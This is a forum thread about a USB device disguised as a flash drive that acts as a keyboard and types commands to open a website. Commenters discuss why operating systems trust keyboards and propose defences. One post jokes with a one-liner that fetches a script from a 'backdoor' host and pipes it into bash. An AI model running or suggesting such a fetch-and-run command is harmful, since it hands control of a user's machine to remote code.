Thought it was a flash drive [video]
reddit.com
Thought it was a flash drive [video]
1–10 of 42 posts
Re: Thought it was a flash drive [video]
#2Jeez, I thought these auto opening usb things were isolated to Windows and only old versions. What’s the story with this on macOS?
Re: Thought it was a flash drive [video]
#3Jeez, I thought these auto opening usb things were isolated to Windows and only old versions. What’s the story with this on macOS?
It's a USB keyboard that opens types some commands to open a hard-coded website.
You can't really prevent that.
Re: Thought it was a flash drive [video]
#4Jeez, I thought these auto opening usb things were isolated to Windows and only old versions. What’s the story with this on macOS?
It's a USB keyboard that opens types some commands to open a hard-coded website. You can't really prevent that.
This is pretty much the way a Yubikey or other 2FA token works, no? The only difference being that it doesn't send the text until the sensor is covered.
Re: Thought it was a flash drive [video]
#5Jeez, I thought these auto opening usb things were isolated to Windows and only old versions. What’s the story with this on macOS?
The problem is.. it's a feature.
All kinds of legitimate (well, this is legitimate too really, it's just weird) devices have similar behaviour, and in their cases it's what the user expects and wants.
Re: Thought it was a flash drive [video]
#6Jeez, I thought these auto opening usb things were isolated to Windows and only old versions. What’s the story with this on macOS?
On all new and old versions of all major operative systems out there you'll be able to plug in any standard USB keyboard, and it'll start working automatically.
That's exactly what's happening there, but the "keyboard" is pre-programmed to enter keys presses automatically in a way that makes a website pop up.
Re: Thought it was a flash drive [video]
#7As has been pointed out, you couldn't block this kind of thing without blocking USB keyboards altogether.
I wonder what it would look like to have a background program that would detect and intercept any newly connected device by default, give it a fake (VM?) environment, and log everything it tried to do to the screen while prompting to ask if you want to let it into the "real" system. Obviously this is what security professionals do manually, but I'm talking about a totally transparent and automatic version that could be left running all the time.
Re: Thought it was a flash drive [video]
#8so... terminalwget backdoor.com | bash
Re: Thought it was a flash drive [video]
#9Jeez, I thought these auto opening usb things were isolated to Windows and only old versions. What’s the story with this on macOS?
It's a USB keyboard that opens types some commands to open a hard-coded website. You can't really prevent that.
You could require confirmation before accepting a new input device. This could be done with out of band signaling (such as a button on the computer itself that you push to say “yes, I want to use this keyboard”) or you could do it by requiring the user to type in a secret (such as their login password, or even just a PIN displayed on the screen) to enable it for other uses.
I don’t know that people would accept this inconvenience, though.
Re: Thought it was a flash drive [video]
#10As has been pointed out, you couldn't block this kind of thing without blocking USB keyboards altogether. I wonder what it would look like to have a background program that would detect and intercept any newly connected device by default, give it a fake (VM?) environment, and log everything it tried to do to the screen while prompting to ask if you want to let it into the "real" system. Obviously this is what securit…
[deleted]